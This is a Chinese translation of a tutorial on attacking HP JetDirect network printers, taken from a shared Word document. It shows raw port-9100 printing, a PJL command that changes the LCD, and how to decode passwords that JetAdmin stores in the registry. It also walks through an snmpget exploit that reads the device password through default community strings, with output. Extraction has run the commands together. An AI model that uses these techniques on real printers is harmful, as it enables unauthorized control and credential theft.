攻击网络打印机Word下载.docx
《攻击网络打印机Word下载.docx》由会员分享,可在线阅读,更多相关《攻击网络打印机Word下载.docx(52页珍藏版)》请在冰豆网上搜索。
515/tcp
IPP
aka
Berkeleyprintingsystem
InternetPrintingProtocol
631/tcp
JetDirect
AppSocket
Raw
PDL-datastream
9100/tcp
因为我主要关注JetDirects打印机,所以讲述的是更多关于AppSocket/PDL-datastream的内容,但由于一些JetDirects打印机也可工作在IPP和LPD协议下,以及一些非惠普公司生产的网络打印机也使用AppSocket协议,因此你应该全面关注这三项协议。
也有一些网络打印机使用IPX,Appletalk和SMB协议(例如Savins)进行通讯。
我并不打算讲述IPX和Appletalk协议,因为本人缺乏这方面的经验,如果有人看到此页并愿意提供这方面的相关信息,我将很感谢。
至于SMB,容后再叙。
现在就让我们开始playingwithprinters吧!
诊断页(Diagnosticspage)
图1
图2
图1、2是JetDirect170x的外观,注意图2最右边标记着“test”的按钮。
在大部分的JetDirectbox上按下此按钮,将会打印出一张诊断页列表统计,以及JetDirectbox的IP设置。
如果你的打印机有内置JetDirectcard,则需要通过选择菜单才能打印出诊断页。
当你一按下test按钮时,打印机就打印出一页或者两页关于主机名、MAC地址、IP地址、子网掩码、默认网关、固件修订和一些常见统计的信息。
如果你想在windows或者linux平台上通过配套软件直接设置IP以打印文件,那么IP/主机名将特别有用。
如果你不能物理访问JetDirectbox,那么你依然可以通过查看Ports选项卡找到打印机的IP地址或主机名,就像访问在windows平台上设置的网络打印机一样。
图3
如图3所示,JetDirectbox主机名为npib1002c。
有时你将在port选项卡上看到像IP_192.168.1.102的名称,很显然,192.168.1.102就是JetDirect的IP地址。
你完全可以在LAN上互换使用主机名或IP,如果主机名有一个合适的域名,那么你也可以通过互联网访问到它。
如果你并不能访问到JetDirectbox,或者你的电脑不能与其连接,那么不要失望,在下一节中,我将讲述如何通过使用Nmap和JetAdmin找到LAN/Internet中的这些打印机。
低级的打印方式
本节之所以称为低级的打印方式,是因为这些行为根本没有什么技术含量,但这也说明了RAW/AppSock协议的简单性,该协议主要是在JetDirect和其它网络打印机上监听9100/tcp端口。
你可以尝试一下,通过诊断页找出打印机的IP地址,然后访问以下地址:
http:
//your-printers-ip:
9100
末尾的“:
9100”是告之浏览器连接端口9100/tcp。
当尝试建立连接时,你会注意到浏览器并不会跑去其它错误的地方,因为它是在端口9100/tcp上运行的,而非WEB服务。
点击浏览器上的stop按钮可以中断连接,然后去注意一下打印机,你会发现,基于不同的浏览器,你可以看到如下的传输数据:
Firefox
InternetExploiter
GET/HTTP/1.1
Host:
tux:
User-Agent:
Mozilla/5.0(Windows;
U;
WindowsNT5.1;
en-US;
rv:
1.8.0.1)Gecko/20060111Firefox/1.5.0.1
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;
q=0.9,text/plain;
q=0.8,image/png,*/*;
q=0.5
Accept-Language:
en-us,en;
Accept-Encoding:
gzip,deflate
Accept-Charset:
ISO-8859-1,utf-8;
q=0.7,*;
q=0.7
Keep-Alive:
300
Connection:
keep-alive
image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,application/vnd.ms-excel,application/vnd.ms-powerpoint,application/msword,*/*
en-us
gzip,deflate
Mozilla/4.0(compatible;
MSIE6.0;
SV1;
.NETCLR1.1.4322;
.NETCLR2.0.50727)
test:
Keep-Alive
如上所示,打印机通过端口9100/tcp读取打印工作。
上面的两份请求均是针对服务器根文件的HTTPget请求。
但是打印机并不知道这些,它只是以文本形式打印出这些请求而已。
另外,你也可以尝试telnet到端口9100(假设打印机IP地址192.168.1.2),输入以下命令:
Irongeek:
~#telnet192.168.1.29100
Trying192.168.1.2...
Connectedto192.168.1.2.
Escapecharacteris'
^]'
.
helloprinter
^]
telnet>
quit
Connectionclosed.
~#
如上所示,打印机回显“helloprinter”,其中"
^]"
代表按下Ctrl键和]括号。
上述实例是以*nix下操作完成的,与在windows平台下操作使用相同命令。
注意,你可能无法看到上面红色标记的回显内容,除非你在本地打开echo(在windows下是默认关闭的)。
比较令人意外的是,网络打印机将所有打印出来的数据都发送到9100端口。
针对这种打印方式,我们随后再详细论述,这里讲一下可能你更感兴趣的内容——更改LCD显示。
下面这些方法并不适用于所有的打印机,但如果是惠普打印机就一定可以。
更改LCD显示可以使用Telnet远程登陆:
~#$telnet192.169.1.29100
@PJLRDYMSGDISPLAY="
SomeText"
^]quit
#$
或者Netcat:
~#$echo@PJLRDYMSGDISPLAY=\"
SomeText\"
|netcat-q0192.168.1.29100
#$
JetDirect密码记录
在大多情况下,人们并不开启密码选项,但如果他们开启了,又会很快发现它们并不能以正常的逻辑方式来工作。
如果你使用的是像如下款式的JetDirect的打印机:
680N(J6058A)
615N(J6057A)
610N(J4169A,J4167A)
380X(J6061A)
310X(J6038A,250M(J6042A)
75X(J6035A)
或者是一台内置JetDirectcard的HP打印机:
HPLaserJet4100series
HPLaserJet8150series
HPLaserJet9000series
HPColorLaserJet4550series
HPColorLaserJet4600
HPDesignjet5000seriesorHPBusinessInkjet2600
远程登陆和WEB登陆或软件JetAdmin所使用的设备密码是一致的。
如果远程登陆打印机,则需要输入用户名和密码,而用户名“root”,“admin”,“administrator”和“supervisor”都是等价有效的。
如果你使用的是一台如下旧款的JetDirect:
600N(J3110A,J3111A,J3112A,J3113A)
400N(J4100A,J4105A,J4106A)
300X
500X
170X(J3296A,J4101B,J3263A,J3264A,3265A,J4102B,J3258B)
那么就会让人觉得更加莫名其妙了。
因为当telnet上述类型的打印机时,会被要求输入密码,但却无需用户名。
如果你为telnet服务设置密码,这可能会导致与web登陆的密码不一致,反之亦然。
也就是说在JetDirect上至少有两个不同的密码,其中一个用于远程登陆,一个用于WEB登陆或JetAdmin软件登陆。
远程登陆密码被限制为16个字符,WEB/JetAdmin登陆密码为12个字符。
你只需要记住,Hijetter(稍后讨论)可能会报告不可用的密码,即使所有的密码都被设置了。
但这也没有关系,因为我们还有其它方法可以绕过密码限制。
WEB接口与JetAdmin都是使用SNMP(SimpleNetworkManagementProtocol)协议来控制JetDirect的,但这要求你提供正确的密码才能登陆。
如果使用第三方SNMP实用工具将完全无需密码,就可以连接并控制JetDirect打印机。
可能你会认为通过改变默认的SNMP团体名称(communityname)public/private是个不错的方法,但即使更改了,你也依然无法嗅探到无线数据,除非在新款的JetDirect打印机中支持SNMPv3和SSL/TLS。
如果你使用的是Windows2000下的桌面软件JetAdmin,那么一旦使用后,它就会自动将密码保存在注册表中。
例如,如果JetDirect的MAC地址是001083A2C913,那么JetAdmin将会把密码"
password"
保存在User\Software\Hewlett-Packard\HPJetAdmin\DeviceOptions\001083A2C913下的"
Access"
中,其键值为"
500041005300530057004f00520044,00,00,00"
。
这一串十六进制即为密码“password”中的各字母转换而成的,在每一字符之间还存在一个NULL字符,并用null填充。
暴力破解密码可能是一种方法,因为并不是所有的网络打印机都像上面一样记录密码的。
由于你已经知道telnet是非加密的,因此也可以尝试嗅探密码。
可以使用Ethereal来嗅探,在旧款的JetDirect(实际上就是Javaapplet)上的WEB接口,以及使用SNMP设置JetDirect的JetAdmin都是使用明文密码传输数据的,可通过在dump文件中搜索以”=108”开头的字符串即可找到密码。
在一些新款的JetDirect中可能并非如此,它可能使用SSL加密连接了。
如果你在JetDirect上设置了一个密码,但却忘记它了,相信这时大多数人都会使用硬重置(hardreset)以恢复密码。
只需先拨掉电源,再按下test/status按钮,过会再插回电源,这样所有被设置的密码就会被清除。
通过SNMP漏洞远程获取JetDirect密码
浏览SecurityF网站搜索JetDirectexploit,可以找到以下公告:
由于上述链接的内容讲述得不够详细,因此后面我将一步一步地向你展示如何利用此漏洞。
一些JetDirect打印机的设备密码大多是以明文形式存储的,并可通过SNMP读取团体名称。
有些可能修改了默认的SNMP团体名”public”,但依然可被嗅探到。
由于在一些JetDirect上默认使用“internal”这个团体名,因此也可以试试“internal”。
据报导,在一些JetDirect打印机上,即使更改了团体名,“internal”依然可用。
通过使用Net-SNMP工具集(http:
//net-
~#snmpget-v1-cpublic192.168.2.46.1.3.6.1.4.1.11.2.3.9.1.1.13.0
SNMPv2-SMI:
:
enterprises.11.2.3.9.1.1.13.0=Hex-STRING:
50415353574F52443D3130383B000000
00000000000000000000000000000000
上面的十六进制字符串50=P,41=A,53=S,53=S,57=W,4F=0,52=R,44=D,3D==,31=1,30=0,38=8,3B=;
,即字符串"
PASSWORD=108;
"
,其中密码为"
PASSWORD"
,如果更改为新密码NEWPASSWORD,那么生成的"
50415353574F52443D3130383B"
即为"
NEWPASSWORD=108;
在"
=108;
之前即为密码,对于HEX转换为ASCII的体力活可在以下网站进行转换:
注意,当我以小写字母的形式输入密码时,它却是以大写字母的形式存储的,说明这些密码是不区分大小写的。
存在此漏洞的JetDirect款式有:
HPJetDirectJ3263A
HPJetDirectJ3113A
HPJetDirectJ3111A
其它款式也存在漏洞,可以测试一下。
这里我用HewlettPackardHPJetDirect300X(J3263A)进行测试,并且安装了最新的可能修补此问题的固件(firmware)(H.08.49),但依然一直有很多未打补丁的JetDirect出现。
一些打印服务器,比如HPJ3258AJetDirect170X就没有使用可升级的固件,因此会被这些固件拖累。
唯一的解决方法,就是购买一台新的JetDirect打印机。
通过telnet/web浏览器控制JetDirect打印机
大多数的JetDirect可通过网络浏览器或telnet会话进行配置,图4就是基于WEB配置工具的一张截图,只需在你喜爱的并且支持JAVA的WEB浏览器中的地址栏里输入JetDirect的主机名或IP地址即可。
图4
下面是通过telent连接JetDirect的例子,它显示了帮助选项,并重置了主机名:
~#telnet192.168.1.2
HPJetDirect
Pleasetype"
?
forHELP,or"
/"
forcurrentsettings
>
?
ToChange/ConfigureParametersEnter:
Parameter-name:
value<
CarriageReturn>
Parameter-nameTypeofvalue
ip:
IP-addressindottednotation
subnet-mask:
addressindottednotation(enter0fordefault)
default-gw:
syslog-svr:
idle-timeout:
secondsinintegers
set-cmnty-name:
alpha-numericstring(32charsmax)
host-name:
alpha-numericstring(uppercaseonly,32charsmax)
dhcp-config:
0todisable,1toenable
allow:
<
ip>
[mask](0toclear,listtodisplay,10max)
addrawport:
TCPportnum>
(<
3000-9000)
deleterawport:
listrawport:
(Noparameterrequired)
addstring:
name>
contents>
contents-Fornon-printablecharactersuse
\xxfortwodigithexnumber
deletestring:
liststring:
addq:
[prepend][append][processing]
prepend-Theprependstringname
append-Theappendstringname
UseNULLfornostring
processing-RAW,TEXT,orAUTO
deleteq:
listq:
defaultq:
ipx/spx:
dlc/llc:
ethertalk:
banner:
Typepasswdtochangethepassword.
Type"
forHELP,"
forcurrentsettingsor"
quit"
tosave-and-exit.
Ortype"
exit"
toexitwithoutsavingconfigurationparameterentries
/
===JetDirectTelnetConfiguration===
FirmwareRev.:
H.08.32
MACAddress:
00:
60:
b0:
6d:
47:
c6
ConfigBy:
D